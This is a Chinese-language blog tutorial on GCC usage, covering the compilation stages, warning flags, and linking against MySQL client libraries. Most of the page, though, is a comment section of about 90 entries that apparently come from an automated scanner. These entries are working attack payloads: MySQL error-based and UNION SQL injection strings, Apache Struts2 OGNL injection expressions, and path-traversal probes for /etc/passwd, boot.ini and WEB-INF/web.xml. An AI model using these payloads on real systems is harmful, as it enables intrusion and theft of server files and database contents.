GCC 常用命令

  • 内容
  • 评论
  • 相关

1简介

GCC 的意思也只是 GNU C Compiler 而已。经过了这么多年的发展,GCC 已经不仅仅能支持 C 语言;它现在还支持 Ada 语言、C++ 语言、Java 语言、Objective C 语言、Pascal 语言、COBOL语言,以及支持函数式编程和逻辑编程的 Mercury 语言,等等。而 GCC 也不再单只是 GNU C 语言编译器的意思了,而是变成了 GNU Compiler Collection 也即是 GNU 编译器家族的意思了。另一方面,说到 GCC 对于操作系统平台及硬件平台支持,概括起来就是一句话:无所不在。

2简单编译

示例程序如下:

//test.c

#include <stdio.h>

int main(void)

{

    printf("Hello World!\n");

    return 0;

}

这个程序,一步到位的编译指令是:

gcc test.c -o test

实质上,上述编译过程是分为四个阶段进行的,即预处理(也称预编译,Preprocessing)、编译(Compilation)、汇编 (Assembly)和连接(Linking)

2.1预处理

gcc -E test.c -o test.i gcc -E test.c

可以输出test.i文件中存放着test.c经预处理之后的代码。打开test.i文件,看一看,就明白了。后面那条指令,是直接在命令行窗口中输出预处理后的代码.

gcc-E选项,可以让编译器在预处理后停止,并输出预处理结果。在本例中,预处理结果就是将stdio.h 文件中的内容插入到test.c中了。

2.2编译为汇编代码(Compilation)

预处理之后,可直接对生成的test.i文件编译,生成汇编代码:

gcc -S test.i -o test.s

gcc-S选项,表示在程序编译期间,在生成汇编代码后,停止,-o输出汇编代码文件。

2.3汇编(Assembly)

对于上一小节中生成的汇编代码文件test.sgas汇编器负责将其编译为目标文件,如下:

gcc -c test.s -o test.o

2.4连接(Linking)

gcc连接器是gas提供的,负责将程序的目标文件与所需的所有附加的目标文件连接起来,最终生成可执行文件。附加的目标文件包括静态连接库和动态连接库。

对于上一小节中生成的test.o,将其与C标准输入输出库进行连接,最终生成程序test

gcc test.o -o test

在命令行窗口中,执行./test, 让它说HelloWorld吧!

3多个程序文件的编译

通常整个程序是由多个源文件组成的,相应地也就形成了多个编译单元,使用GCC能够很好地管理这些编译单元。假设有一个由test1.c test2.c两个源文件组成的程序,为了对它们进行编译,并最终生成可执行程序test,可以使用下面这条命令:

gcc test1.c test2.c -o test

如果同时处理的文件不止一个,GCC仍然会按照预处理、编译和链接的过程依次进行。如果深究起来,上面这条命令大致相当于依次执行如下三条命令:

gcc -c test1.c -o test1.o

gcc -c test2.c -o test2.o

gcc test1.o test2.o -o test

4检错

gcc -pedantic illcode.c -o illcode

-pedantic编译选项并不能保证被编译程序与ANSI/ISO C标准的完全兼容,它仅仅只能用来帮助Linux程序员离这个目标越来越近。或者换句话说,-pedantic选项能够帮助程序员发现一些不符合 ANSI/ISO C标准的代码,但不是全部,事实上只有ANSI/ISO C语言标准中要求进行编译器诊断的那些情况,才有可能被GCC发现并提出警告。

除了-pedantic之外,GCC还有一些其它编译选项也能够产生有用的警告信息。这些选项大多以-W开头,其中最有价值的当数-Wall了,使用它能够使GCC产生尽可能多的警告信息。

gcc -Wall illcode.c -o illcode

GCC给出的警告信息虽然从严格意义上说不能算作错误,但却很可能成为错误的栖身之所。一个优秀的Linux程序员应该尽量避免产生警告信息,使自己的代码始终保持标准、健壮的特性。所以将警告信息当成编码错误来对待,是一种值得赞扬的行为!所以,在编译程序时带上-Werror选项,那么GCC会在所有产生警告的地方停止编译,迫使程序员对自己的代码进行修改,如下:

gcc -Werror test.c -o test

5库文件连接

开发软件时,完全不使用第三方函数库的情况是比较少见的,通常来讲都需要借助许多函数库的支持才能够完成相应的功能。从程序员的角度看,函数库实际上就是一些头文件(.h)和库文件(so、或libdll)的集合。。虽然Linux下的大多数函数都默认将头文件放到/usr/include/目录下,而库文件则放到/usr/lib/目录下;Windows所使用的库文件主要放在Visual Stido的目录下的includelib,以及系统文件夹下。但也有的时候,我们要用的库不再这些目录下,所以GCC在编译时必须用自己的办法来查找所需要的头文件和库文件。

例如我们的程序test.c是在linux上使用c连接mysql,这个时候我们需要去mysql官网下载MySQL ConnectorsC库,下载下来解压之后,有一个include文件夹,里面包含mysql connectors的头文件,还有一个lib文件夹,里面包含二进制so文件libmysqlclient.so

其中inclulde文件夹的路径是/usr/dev/mysql/include,lib文件夹是/usr/dev/mysql/lib

5.1编译成可执行文件

首先我们要进行编译test.c为目标文件,这个时候需要执行

gcc –c –I /usr/dev/mysql/include test.c –o test.o

5.2链接

最后我们把所有目标文件链接成可执行文件:

gcc –L /usr/dev/mysql/lib –lmysqlclient test.o –o test

Linux下的库文件分为两大类分别是动态链接库(通常以.so结尾)和静态链接库(通常以.a结尾),二者的区别仅在于程序执行时所需的代码是在运行时动态加载的,还是在编译时静态加载的。

5.3强制链接时使用静态链接库

默认情况下, GCC在链接时优先使用动态链接库,只有当动态链接库不存在时才考虑使用静态链接库,如果需要的话可以在编译时加上-static选项,强制使用静态链接库。

/usr/dev/mysql/lib目录下有链接时所需要的库文件libmysqlclient.solibmysqlclient.a,为了让GCC在链接时只用到静态链接库,可以使用下面的命令:

gcc –L /usr/dev/mysql/lib –static –lmysqlclient test.o –o test

静态库链接时搜索路径顺序:

1. ld会去找GCC命令中的参数-L
2. 再找gcc的环境变量LIBRARY_PATH
3. 再找内定目录 /lib /usr/lib /usr/local/lib 这是当初compile gcc时写在程序内的

动态链接时、执行时搜索路径顺序:

1. 编译目标代码时指定的动态库搜索路径
2.
环境变量LD_LIBRARY_PATH指定的动态库搜索路径
3.
配置文件/etc/ld.so.conf中指定的动态库搜索路径
4.
默认的动态库搜索路径/lib
5.
默认的动态库搜索路径/usr/lib

有关环境变量:
LIBRARY_PATH
环境变量:指定程序静态链接库文件搜索路径
LD_LIBRARY_PATH
环境变量:指定程序动态链接库文件搜索路径

评论

188条评论
  1. Gravatar 头像

    angelina 回复

    ' AND (SELECT (CASE WHEN (8281=8281) THEN 1 ELSE (SELECT 1 FROM (select 1 union select 2)x) END))-- -1

  2. Gravatar 头像

    angelina 回复

    " , (SELECT (CASE WHEN (8281=8281) THEN 1 ELSE (SELECT 1 FROM (select 1 union select 2)x) END)) )-- -1

  3. Gravatar 头像

    angelina 回复

    1 AND (SELECT 4455 FROM(SELECT COUNT(*),CONCAT(0x3a6469703a,(SELECT (CASE WHEN (4455=4455) THEN 1 ELSE 0 END)),0x3a676e6b3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)1

  4. Gravatar 头像

    angelina 回复

    1") AND (SELECT 4455 FROM(SELECT COUNT(*),CONCAT(0x3a6469703a,(SELECT (CASE WHEN (4455=4455) THEN 1 ELSE 0 END)),0x3a676e6b3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND ("OJPj"="OJPj1

  5. Gravatar 头像

    angelina 回复

    1) AND EXTRACTVALUE(5598,CONCAT(0x5c,0x3a6469703a,(SELECT (CASE WHEN (5598=5598) THEN 1 ELSE 0 END)),0x3a676e6b3a))1

  6. Gravatar 头像

    angelina 回复

    1 AND UPDATEXML(5302,CONCAT(0x2e,0x3a6469703a,(SELECT (CASE WHEN (5302=5302) THEN 1 ELSE 0 END)),0x3a676e6b3a),5475) -- bQcc1

  7. Gravatar 头像

    angelina 回复

    1 AND ROW(1807,6290)>(SELECT COUNT(*),CONCAT(0x3a6469703a,(SELECT (CASE WHEN (1807=1807) THEN 1 ELSE 0 END)),0x3a676e6b3a,FLOOR(RAND(0)*2))x FROM (SELECT 1555 UNION SELECT 5955 UNION SELECT 9086 UNION SELECT 4750)a GROUP BY x)1

  8. Gravatar 头像

    angelina 回复

    -7599) OR (SELECT 5382 FROM(SELECT COUNT(*),CONCAT(0x3a6469703a,(SELECT (CASE WHEN (5382=5382) THEN 1 ELSE 0 END)),0x3a676e6b3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND (1393=13931

  9. Gravatar 头像

    angelina 回复

    -4743') OR (SELECT 5382 FROM(SELECT COUNT(*),CONCAT(0x3a6469703a,(SELECT (CASE WHEN (5382=5382) THEN 1 ELSE 0 END)),0x3a676e6b3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND ('BWbY'='BWbY1

  10. Gravatar 头像

    angelina 回复

    -3133" OR (SELECT 5382 FROM(SELECT COUNT(*),CONCAT(0x3a6469703a,(SELECT (CASE WHEN (5382=5382) THEN 1 ELSE 0 END)),0x3a676e6b3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND "KrbW"="KrbW1

  11. Gravatar 头像

    angelina 回复

    -6804%') OR (SELECT 5382 FROM(SELECT COUNT(*),CONCAT(0x3a6469703a,(SELECT (CASE WHEN (5382=5382) THEN 1 ELSE 0 END)),0x3a676e6b3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND ('%'='1

  12. Gravatar 头像

    angelina 回复

    -6731 OR (SELECT 5382 FROM(SELECT COUNT(*),CONCAT(0x3a6469703a,(SELECT (CASE WHEN (5382=5382) THEN 1 ELSE 0 END)),0x3a676e6b3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) -- Gady1

  13. Gravatar 头像

    angelina 回复

    '+(#context[\"xwork.MethodAccessor.denyMethodExecution\"]=new java.lang.Boolean(false),#_memberAccess[\"allowStaticMethodAccess\"]=new java.lang.Boolean(true),#_memberAccess.excludeProperties={},#a_str='814F60BD-F6DF-4227-',#b_str='86F5-8D9FBF26A2EB',#a_resp=@org.apache.struts2.ServletActionContext@getResponse(),#a_resp.getWriter().println(#a_str+#b_str),#a_resp.getWriter().flush(),#a_resp.getWriter().close())+'

  14. Gravatar 头像

    angelina 回复

    (#context[\"xwork.MethodAccessor.denyMethodExecution\"]=new java.lang.Boolean(false),#_memberAccess[\"allowStaticMethodAccess\"]=new java.lang.Boolean(true),#_memberAccess.excludeProperties={},#a_str='814F60BD-F6DF-4227-',#b_str='86F5-8D9FBF26A2EB',#a_resp=@org.apache.struts2.ServletActionContext@getResponse(),#a_resp.getWriter().println(#a_str+#b_str),#a_resp.getWriter().flush(),#a_resp.getWriter().close())(meh)

  15. Gravatar 头像

    angelina 回复

    (#context['xwork.MethodAccessor.denyMethodExecution']=false,#_memberAccess.allowStaticMethodAccess=true,#_memberAccess.excludeProperties={},#a_str='814F60BD-F6DF-4227-',#b_str='86F5-8D9FBF26A2EB',#a_resp=@org.apache.struts2.ServletActionContext@getResponse(),#a_resp.getWriter().println(#a_str+#b_str),#a_resp.getWriter().flush(),#a_resp.getWriter().close())(meh)

  16. Gravatar 头像

    angelina 回复

    ../../../../../../../../../../../../../../etc/passwd

  17. Gravatar 头像

    angelina 回复

    /../../../../../../../../../../../../../../etc/passwd

  18. Gravatar 头像

    angelina 回复

    //../....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc//passwd

  19. Gravatar 头像

    angelina 回复

    //../..//..//..//..//..//..//..//..//..//..//..//..//..//..//etc//passwd.htm

  20. Gravatar 头像

    angelina 回复

    \..\..\..\..\..\..\..\..\..\..\..\..\..\..\etc\passwd.php

  21. Gravatar 头像

    angelina 回复

    ../../../../../../../../../../sbin/../etc/./rc.d/../rc.d/.././rc.local

  22. Gravatar 头像

    angelina 回复

    /../../../../../../../../../../sbin/../etc/./rc.d/../rc.d/.././rc.local

  23. Gravatar 头像

    angelina 回复

    c:/x/xx/../../../../../../boot.ini.php

  24. Gravatar 头像

    angelina 回复

    data://text/plain;base64,W0hlbGxvIEFpc2h5XQ==

  25. Gravatar 头像

    angelina 回复

    ") AND 8288=8288 AND "1" in ("11

  26. Gravatar 头像

    angelina 回复

    1%') AND (SELECT 2060 FROM(SELECT COUNT(*),CONCAT(0x3a6f78723a,(SELECT (CASE WHEN (2060=2060) THEN 1 ELSE 0 END)),0x3a7371783a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND ('%'='1

  27. Gravatar 头像

    angelina 回复

    1' AND EXTRACTVALUE(9459,CONCAT(0x5c,0x3a6f78723a,(SELECT (CASE WHEN (9459=9459) THEN 1 ELSE 0 END)),0x3a7371783a))1

  28. Gravatar 头像

    angelina 回复

    1' AND EXTRACTVALUE(9459,CONCAT(0x5c,0x3a6f78723a,(SELECT (CASE WHEN (9459=9459) THEN 1 ELSE 0 END)),0x3a7371783a)) AND 'niMj'='niMj1

  29. Gravatar 头像

    angelina 回复

    1' AND (SELECT 5594 FROM(SELECT COUNT(*),CONCAT(0x3a616e723a,(SELECT (CASE WHEN (5594=5594) THEN 1 ELSE 0 END)),0x3a77686b3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'pwWC'='pwWC1

  30. Gravatar 头像

    angelina 回复

    1" AND UPDATEXML(6620,CONCAT(0x2e,0x3a6f78723a,(SELECT (CASE WHEN (6620=6620) THEN 1 ELSE 0 END)),0x3a7371783a),8628) AND "hpqF"="hpqF1

  31. Gravatar 头像

    angelina 回复

    1) AND EXTRACTVALUE(9991,CONCAT(0x5c,0x3a616e723a,(SELECT (CASE WHEN (9991=9991) THEN 1 ELSE 0 END)),0x3a77686b3a)) AND (2119=21191

  32. Gravatar 头像

    angelina 回复

    1") AND EXTRACTVALUE(9991,CONCAT(0x5c,0x3a616e723a,(SELECT (CASE WHEN (9991=9991) THEN 1 ELSE 0 END)),0x3a77686b3a)) AND ("NQwm"="NQwm1

  33. Gravatar 头像

    angelina 回复

    1) AND UPDATEXML(1050,CONCAT(0x2e,0x3a616e723a,(SELECT (CASE WHEN (1050=1050) THEN 1 ELSE 0 END)),0x3a77686b3a),2581)1

  34. Gravatar 头像

    angelina 回复

    1%' AND UPDATEXML(1050,CONCAT(0x2e,0x3a616e723a,(SELECT (CASE WHEN (1050=1050) THEN 1 ELSE 0 END)),0x3a77686b3a),2581) AND '%'='1

  35. Gravatar 头像

    angelina 回复

    1) OR EXTRACTVALUE(7027,CONCAT(0x5c,0x3a6f78723a,(SELECT (CASE WHEN (7027=7027) THEN 1 ELSE 0 END)),0x3a7371783a))1

  36. Gravatar 头像

    angelina 回复

    1') OR EXTRACTVALUE(7027,CONCAT(0x5c,0x3a6f78723a,(SELECT (CASE WHEN (7027=7027) THEN 1 ELSE 0 END)),0x3a7371783a)) AND ('eBDY'='eBDY1

  37. Gravatar 头像

    angelina 回复

    1%') OR EXTRACTVALUE(7027,CONCAT(0x5c,0x3a6f78723a,(SELECT (CASE WHEN (7027=7027) THEN 1 ELSE 0 END)),0x3a7371783a)) AND ('%'='1

  38. Gravatar 头像

    angelina 回复

    -4300) OR ROW(2268,5352)>(SELECT COUNT(*),CONCAT(0x3a6f78723a,(SELECT (CASE WHEN (2268=2268) THEN 1 ELSE 0 END)),0x3a7371783a,FLOOR(RAND(0)*2))x FROM (SELECT 7108 UNION SELECT 5805 UNION SELECT 9753 UNION SELECT 5040)a GROUP BY x)1

  39. Gravatar 头像

    angelina 回复

    -5377) OR ROW(2268,5352)>(SELECT COUNT(*),CONCAT(0x3a6f78723a,(SELECT (CASE WHEN (2268=2268) THEN 1 ELSE 0 END)),0x3a7371783a,FLOOR(RAND(0)*2))x FROM (SELECT 7108 UNION SELECT 5805 UNION SELECT 9753 UNION SELECT 5040)a GROUP BY x) AND (6983=69831

  40. Gravatar 头像

    angelina 回复

    -7345') OR ROW(2268,5352)>(SELECT COUNT(*),CONCAT(0x3a6f78723a,(SELECT (CASE WHEN (2268=2268) THEN 1 ELSE 0 END)),0x3a7371783a,FLOOR(RAND(0)*2))x FROM (SELECT 7108 UNION SELECT 5805 UNION SELECT 9753 UNION SELECT 5040)a GROUP BY x) AND ('HpUu'='HpUu1

  41. Gravatar 头像

    angelina 回复

    -7290" OR ROW(2268,5352)>(SELECT COUNT(*),CONCAT(0x3a6f78723a,(SELECT (CASE WHEN (2268=2268) THEN 1 ELSE 0 END)),0x3a7371783a,FLOOR(RAND(0)*2))x FROM (SELECT 7108 UNION SELECT 5805 UNION SELECT 9753 UNION SELECT 5040)a GROUP BY x) AND "Rqme"="Rqme1

  42. Gravatar 头像

    angelina 回复

    -5928%') OR ROW(2268,5352)>(SELECT COUNT(*),CONCAT(0x3a6f78723a,(SELECT (CASE WHEN (2268=2268) THEN 1 ELSE 0 END)),0x3a7371783a,FLOOR(RAND(0)*2))x FROM (SELECT 7108 UNION SELECT 5805 UNION SELECT 9753 UNION SELECT 5040)a GROUP BY x) AND ('%'='1

  43. Gravatar 头像

    angelina 回复

    -2426 OR ROW(2268,5352)>(SELECT COUNT(*),CONCAT(0x3a6f78723a,(SELECT (CASE WHEN (2268=2268) THEN 1 ELSE 0 END)),0x3a7371783a,FLOOR(RAND(0)*2))x FROM (SELECT 7108 UNION SELECT 5805 UNION SELECT 9753 UNION SELECT 5040)a GROUP BY x) -- rQre1

  44. Gravatar 头像

    angelina 回复

    -6326' OR 1 GROUP BY CONCAT(0x3a6f78723a,(SELECT (CASE WHEN (3518=3518) THEN 1 ELSE 0 END)),0x3a7371783a,FLOOR(RAND(0)*2)) HAVING MIN(0)#1

  45. Gravatar 头像

    angelina 回复

    -5184 OR 1 GROUP BY CONCAT(0x3a616e723a,(SELECT (CASE WHEN (3676=3676) THEN 1 ELSE 0 END)),0x3a77686b3a,FLOOR(RAND(0)*2)) HAVING MIN(0)#1

  46. Gravatar 头像

    angelina 回复

    1) LIMIT 1,1 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL, NULL#1

  47. Gravatar 头像

    angelina 回复

    1) LIMIT 1,1 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL#1

  48. Gravatar 头像

    angelina 回复

    1) LIMIT 1,1 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL#1

  49. Gravatar 头像

    angelina 回复

    '+(#context['xwork.MethodAccessor.denyMethodExecution']=false,#_memberAccess.allowStaticMethodAccess=true,#_memberAccess.excludeProperties={},#a_str='814F60BD-F6DF-4227-',#b_str='86F5-8D9FBF26A2EB',#a_resp=@org.apache.struts2.ServletActionContext@getResponse(),#a_resp.getWriter().println(#a_str+#b_str),#a_resp.getWriter().flush(),#a_resp.getWriter().close())+'

  50. Gravatar 头像

    angelina 回复

    ../../../../../../../../../../../../../../etc/passwd.htm

  51. Gravatar 头像

    angelina 回复

    /../../../../../../../../../../../../../../etc/passwd.jpg

  52. Gravatar 头像

    angelina 回复

    //../....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc//passwd.php

  53. Gravatar 头像

    angelina 回复

    \..\..\..\..\..\..\..\..\..\..\..\..\..\..\etc\passwd

  54. Gravatar 头像

    angelina 回复

    \\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\etc\\passwd

  55. Gravatar 头像

    angelina 回复

    ../../../../../../../../../../sbin/../etc/./rc.d/../rc.d/.././rc.local.html

  56. Gravatar 头像

    angelina 回复

    /../../../../../../../../../../sbin/../etc/./rc.d/../rc.d/.././rc.local.php

  57. Gravatar 头像

    angelina 回复

    c:/x/xx/../../../../../../boot.ini

  58. Gravatar 头像

    angelina 回复

    x/xx/../../../../../../../../../../../boot.ini

  59. Gravatar 头像

    angelina 回复

    data://text/plain;base64,W0hlbGxvIEFpc2h5XQ==.html

  60. Gravatar 头像

    angelina 回复

    \\..\....\\....\\WEB-INF\web.xml.php

  61. Gravatar 头像

    angelina 回复

    ') AND 8288=8288 AND '1' in ('11

  62. Gravatar 头像

    angelina 回复

    ") AND 7=8288-8288 AND "1" in ("11

  63. Gravatar 头像

    angelina 回复

    ' AND (SELECT (CASE WHEN (8281=(select 8282)) THEN 1 ELSE (SELECT 1 FROM (select 1 union select 2)x) END))-- -1

  64. Gravatar 头像

    angelina 回复

    " or 8281=(select 8281 from information_schema.TABLES limit 1) or "8281"="82821

  65. Gravatar 头像

    angelina 回复

    ' , (SELECT (CASE WHEN (8281=8281) THEN 1 ELSE (SELECT 1 FROM (select 1 union select 2)x) END)) )-- -1

  66. Gravatar 头像

    angelina 回复

    " , (SELECT (CASE WHEN (8281-1=8281) THEN 1 ELSE (SELECT 1 FROM (select 1 union select 2)x) END)) )-- -1

  67. Gravatar 头像

    angelina 回复

    1) AND (SELECT 7747 FROM(SELECT COUNT(*),CONCAT(0x3a6177783a,(SELECT (CASE WHEN (7747=7747) THEN 1 ELSE 0 END)),0x3a626b6b3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND (7027=70271

  68. Gravatar 头像

    angelina 回复

    1" AND (SELECT 7747 FROM(SELECT COUNT(*),CONCAT(0x3a6177783a,(SELECT (CASE WHEN (7747=7747) THEN 1 ELSE 0 END)),0x3a626b6b3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND "dEnu"="dEnu1

  69. Gravatar 头像

    angelina 回复

    1%' AND (SELECT 9006 FROM(SELECT COUNT(*),CONCAT(0x3a6b64693a,(SELECT (CASE WHEN (9006=9006) THEN 1 ELSE 0 END)),0x3a69766a3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '%'='1

  70. Gravatar 头像

    angelina 回复

    1) AND EXTRACTVALUE(8966,CONCAT(0x5c,0x3a6b64693a,(SELECT (CASE WHEN (8966=8966) THEN 1 ELSE 0 END)),0x3a69766a3a)) AND (9711=97111

  71. Gravatar 头像

    angelina 回复

    1" AND EXTRACTVALUE(8966,CONCAT(0x5c,0x3a6b64693a,(SELECT (CASE WHEN (8966=8966) THEN 1 ELSE 0 END)),0x3a69766a3a)) AND "GVBz"="GVBz1

  72. Gravatar 头像

    angelina 回复

    1 AND UPDATEXML(2153,CONCAT(0x2e,0x3a6b64693a,(SELECT (CASE WHEN (2153=2153) THEN 1 ELSE 0 END)),0x3a69766a3a),4639)1

  73. Gravatar 头像

    angelina 回复

    1") AND UPDATEXML(2153,CONCAT(0x2e,0x3a6b64693a,(SELECT (CASE WHEN (2153=2153) THEN 1 ELSE 0 END)),0x3a69766a3a),4639) AND ("xdTQ"="xdTQ1

  74. Gravatar 头像

    angelina 回复

    1%' AND ROW(8038,9943)>(SELECT COUNT(*),CONCAT(0x3a6177783a,(SELECT (CASE WHEN (8038=8038) THEN 1 ELSE 0 END)),0x3a626b6b3a,FLOOR(RAND(0)*2))x FROM (SELECT 9694 UNION SELECT 6331 UNION SELECT 1834 UNION SELECT 7658)a GROUP BY x) AND '%'='1

  75. Gravatar 头像

    angelina 回复

    -6894") OR (SELECT 7957 FROM(SELECT COUNT(*),CONCAT(0x3a6177783a,(SELECT (CASE WHEN (7957=7957) THEN 1 ELSE 0 END)),0x3a626b6b3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND ("vpfo"="vpfo1

  76. Gravatar 头像

    angelina 回复

    -1556%' OR (SELECT 7957 FROM(SELECT COUNT(*),CONCAT(0x3a6177783a,(SELECT (CASE WHEN (7957=7957) THEN 1 ELSE 0 END)),0x3a626b6b3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '%'='1

  77. Gravatar 头像

    angelina 回复

    1' OR EXTRACTVALUE(7410,CONCAT(0x5c,0x3a6b64693a,(SELECT (CASE WHEN (7410=7410) THEN 1 ELSE 0 END)),0x3a69766a3a))1

  78. Gravatar 头像

    angelina 回复

    1' OR EXTRACTVALUE(7945,CONCAT(0x5c,0x3a6177783a,(SELECT (CASE WHEN (7945=7945) THEN 1 ELSE 0 END)),0x3a626b6b3a)) AND 'HpPF'='HpPF1

  79. Gravatar 头像

    angelina 回复

    1%' OR EXTRACTVALUE(7945,CONCAT(0x5c,0x3a6177783a,(SELECT (CASE WHEN (7945=7945) THEN 1 ELSE 0 END)),0x3a626b6b3a)) AND '%'='1

  80. Gravatar 头像

    angelina 回复

    ../../../../../../../../../../../../../../etc/passwd.html

  81. Gravatar 头像

    angelina 回复

    /../../../../../../../../../../../../../../etc/passwd.php

  82. Gravatar 头像

    angelina 回复

    //../..//..//..//..//..//..//..//..//..//..//..//..//..//..//etc//passwd

  83. Gravatar 头像

    angelina 回复

    \..\..\..\..\..\..\..\..\..\..\..\..\..\..\etc\passwd.htm

  84. Gravatar 头像

    angelina 回复

    \\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\etc\\passwd.jpg

  85. Gravatar 头像

    angelina 回复

    ../../../../../../../../../../sbin/../etc/./rc.d/../rc.d/.././rc.local.jpeg

  86. Gravatar 头像

    angelina 回复

    /../../../../../../../../../../sbin/../etc/./rc.d/../rc.d/.././rc.local.jpeg

  87. Gravatar 头像

    angelina 回复

    x/xx/../../../../../../../../../../../boot.ini.html

  88. Gravatar 头像

    angelina 回复

    data://text/plain;base64,W0hlbGxvIEFpc2h5XQ==.htm

  89. Gravatar 头像

    angelina 回复

    ../../../../../../../../../../etc/rc.d/rc.local

  90. Gravatar 头像

    angelina 回复

    \\..\....\\....\\WEB-INF\web.xml.jpeg

发表评论

电子邮件地址不会被公开。